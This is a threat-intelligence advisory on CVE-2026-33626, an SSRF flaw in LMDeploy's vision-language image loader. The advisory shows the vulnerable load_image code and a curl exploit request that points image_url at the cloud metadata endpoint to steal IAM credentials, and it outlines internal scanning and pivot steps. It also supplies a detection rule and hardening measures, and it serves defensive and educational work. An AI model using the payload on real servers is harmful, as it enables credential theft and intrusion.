Skip to content
Hermes Codex

CVE-2026-33626: LMDeploy Vision-Language SSRF & Cloud Metadata Exfiltration

HTS

HERMES THREAT SCORE & OPERATIONAL EXPLOITABILITY

Target: LMDeploy LLM Serving Engine (Linux, Kubernetes AI Clusters)
Confidence: 97%
88 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 15 / 20
Exposure 13 / 20
Prevalence 11 / 20
Impact 10 / 20
⚖️ Divergence & Operational Rationale

Elevated to 88 EXTREME by Hermes due to rapid weaponization in the wild within 12–13 hours of disclosure, high automated scanning against public AI inference endpoints, and automated exfiltration of cloud IAM metadata credentials.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-33626: LMDeploy Vision-Language SSRF & Cloud Metadata ExfiltrationVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTLMDeploy Serving Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LMDeploy Serving Engine documented in Hermes dossier.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-007: Autonomous Cascading RCE
92% VERY_HIGH

Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-33626 weaponizes the agentic attack pattern formalized under AAP-007.”

Supporting Verified Evidence:

Root Cause Analysis

Section titled “Root Cause Analysis”

LMDeploy provides high-performance model serving for multimodal models (such as InternVL, Qwen-VL, and LLaVA) via an OpenAI-compatible REST API. When processing chat completion requests containing image inputs, client payloads include image_url objects:

{
  "model": "internvl2-8b",
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "Describe this architecture diagram."},
        {"type": "image_url", "image_url": {"url": "https://example.com/diag.png"}}
      ]
    }
  ]
}
LMDeploy Multimodal Request Flow & Insecure Ingestion Defect:


   Client Ingress:
   POST /v1/chat/completions
   { "image_url": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } }
                 │
                 ▼
   LMDeploy FastAPI / Async Gateway
                 │
                 ▼
   lmdeploy/vl/utils.py: load_image()
   ┌─────────────────────────────────────────────────────────────┐
   │ Insecure Routine:                                           │
   │ def load_image(image_url):                                  │
   │     response = requests.get(image_url, timeout=5)           │
   │     # NO URL SCHEME VALIDATION                              │
   │     # NO PRIVATE IP / LOOPBACK / LINK-LOCAL FILTERING       │
   │     # BLINDLY RETURNS RESPONSE BYTES TO TENSOR PIPELINE     │
   └─────────────────────────────────────────────────────────────┘
                 │
                 ▼
   [CRITICAL SSRF EXECUTION (CWE-918)]
   Server requests: http://169.254.169.254/latest/meta-data/
   Exfiltrates: AWS IAM Security Credentials / GCP Access Tokens

The Insecure Image Retrieval Pipeline

Section titled “The Insecure Image Retrieval Pipeline”

The defect was identified in lmdeploy/vl/utils.py within load_image() and encode_image_base64():

# Vulnerable snippet in lmdeploy/vl/utils.py (pre-0.12.3)
import requests
from io import BytesIO
from PIL import Image


def load_image(image_url: str) -> Image.Image:
    if image_url.startswith('http://') or image_url.startswith('https://'):
        # Insecure: direct request without destination address resolution or IP filtering
        resp = requests.get(image_url, timeout=10)
        resp.raise_for_status()
        return Image.open(BytesIO(resp.content))
    # ...

Three critical architectural oversights rendered this implementation exploitable:

  1. No Target Resolution Verification: The code did not resolve hostnames to IP addresses prior to initiating the HTTP request, allowing DNS rebinding and redirect attacks.
  2. Missing Deny-Lists for Private Ranges: No filtering was implemented for loopback (127.0.0.0/8, ::1), RFC1918 subnets (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), or cloud metadata link-local addresses (169.254.169.254).
  3. Information Disclosure via Model Reflection or Error Propagation: In setups returning raw error traces or multimodal responses, the content of internal responses—or metadata error strings—can be mirrored directly back to the caller or reflected in the vision transformer’s output tokens.

Exploit Mechanics & Threat Telemetry

Section titled “Exploit Mechanics & Threat Telemetry”

Threat actor telemetry collected by threat intelligence sensors recorded weaponized scanning within 12 hours of the advisory. Adversaries leveraged automated enumeration scripts:

1. Cloud Instance Metadata Harvesting (AWS / GCP / Azure)

Section titled “1. Cloud Instance Metadata Harvesting (AWS / GCP / Azure)”

On AWS EC2 instances running IMDSv1 (where HttpTokens=optional), an unauthenticated attacker issues:

Terminal window
curl -X POST "http://target-ai-cluster.internal:23333/v1/chat/completions" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "internvl-chat",
    "messages": [
      {
        "role": "user",
        "content": [
          {"type": "text", "text": "Extract all text strings from this image verbatim."},
          {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-ai-node-role"}}
        ]
      }
    ]
  }'

When the vision encoder processes the returned text stream, or when the API returns an ingestion diagnostic, the node role’s temporary AccessKeyId, SecretAccessKey, and Token are exfiltrated to the adversary.

2. Internal Microservice Port Scanning & Lateral Pivot

Section titled “2. Internal Microservice Port Scanning & Lateral Pivot”

Because AI serving pods typically run with permissive network policies inside Kubernetes clusters, attackers use LMDeploy as an egress proxy:

  • Vector Databases: Scanning Milvus (port 19530), Qdrant (port 6333), or ChromaDB to locate proprietary document embeddings.
  • Model Cache & Orchestration: Interacting with unauthenticated Redis caches (port 6379) or local Triton/Ray endpoints (port 8000/10001).
  • Inter-Agent Pivoting: Triggering downstream autonomous agents by directing the SSRF toward internal agent tool dispatchers.
Threat Actor Exploitation Lifecycle:
[Target Discovery] ──► Query Shodan/Censys for exposed LMDeploy (:23333 /v1/chat/completions)
          │
[Egress SSRF]      ──► Inject link-local URL (169.254.169.254)
          │
[Cred Theft]       ──► Harvest AWS IAM Role / GCP Service Account tokens
          │
[Cluster Pivot]    ──► Access internal Vector DB & Redis models
          │
[Persistence]      ──► Poison RAG datastores & exfiltrate intellectual property

Cross-Linking: AI Security & Attack Pattern Mapping

Section titled “Cross-Linking: AI Security & Attack Pattern Mapping”

CVE-2026-33626 sits at the critical intersection of AI model serving infrastructure and agentic attack chains:

Framework / Codex ReferenceIdentifierRelevance & Traversal Path
Agentic Attack PatternAAP-007Exfiltration via Execution: Autonomous tool execution or model ingestion forced into exfiltrating protected data to out-of-band sinks.
Agentic Attack PatternAAP-008Sensitive Data Exfiltration / Egress Sinks: Unchecked outbound network channels leaking environment secrets.
Related AI VulnerabilityCVE-2026-59822LiteLLM Bearer Auth Bypass: Similar cloud-native AI gateway compromise targeting infrastructure tokens.
Related Protocol SmugglingCVE-2026-48710Starlette ASGI Smuggling: Bypassing ingress gateway security boundaries in Python AI API backends.
Codex Pillar StudyHow to Attack an AI AgentDetailed architectural analysis of why agentic tool boundaries fail under multimodal inputs.
Interactive Defense ToolAgentThreat StudioTest and threat-model model ingress and egress sinks against SSRF and data exfiltration rules.

Forensic Artifacts & Detection Engineering

Section titled “Forensic Artifacts & Detection Engineering”

Security Operations Centers (SOC) and incident response teams can detect exploitation through network telemetry and endpoint process monitoring:

title: LMDeploy Multimodal SSRF Metadata Access Attempt
id: 4e9a6c11-9f44-42b7-8321-lmdeploy001
status: experimental
description: Detects outbound network connections from LMDeploy or AI serving processes toward cloud instance metadata services or private internal subnets.
author: Hermes Codex CTI
date: 2026-09-08
references:
  - CVE-2026-33626
tags:
  - attack.initial_access
  - attack.t1190
  - attack.credential_access
  - attack.t1552.005
logsource:
  category: network_connection
  product: linux
detection:
  selection_process:
    Image|endswith:
      - '/python'
      - '/python3'
      - '/lmdeploy'
      - '/uvicorn'
  selection_dest:
    DestinationIp:
      - '169.254.169.254'
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
      - '127.0.0.1'
  filter_legitimate:
    DestinationPort:
      - 53
      - 443
  condition: selection_process and selection_dest and not filter_legitimate
falsepositives:
  - Internal cluster monitoring scripts communicating directly over loopback (verify command line).
level: critical

Mitigation & Hardening Matrix

Section titled “Mitigation & Hardening Matrix”

Organizations utilizing LMDeploy for inference serving must implement the following remediation controls:

1. Upgrade LMDeploy

Section titled “1. Upgrade LMDeploy”

Deploy LMDeploy version 0.12.3 or later, which introduces strict URL verification, hostname validation, and private IP blocking within lmdeploy/vl/utils.py.

2. Enforce IMDSv2 Across Cloud Infrastructure

Section titled “2. Enforce IMDSv2 Across Cloud Infrastructure”

For AWS-hosted clusters, mandate IMDSv2 with token hops restricted to 1:

Terminal window
aws ec2 modify-instance-metadata-options \
    --instance-id <INSTANCE_ID> \
    --http-tokens required \
    --http-put-response-hop-limit 1 \
    --http-endpoint enabled

By requiring a PUT request with a pre-fetched session token, SSRF vulnerabilities that only execute simple GET requests cannot retrieve metadata.

3. Kubernetes NetworkPolicies (Egress Filtering)

Section titled “3. Kubernetes NetworkPolicies (Egress Filtering)”

Apply strict Kubernetes NetworkPolicy objects preventing AI serving pods from reaching link-local and internal service CIDRs:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-metadata-egress
  namespace: ai-inference
spec:
  podSelector:
    matchLabels:
      app: lmdeploy
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16

Sources & Technical References

Section titled “Sources & Technical References”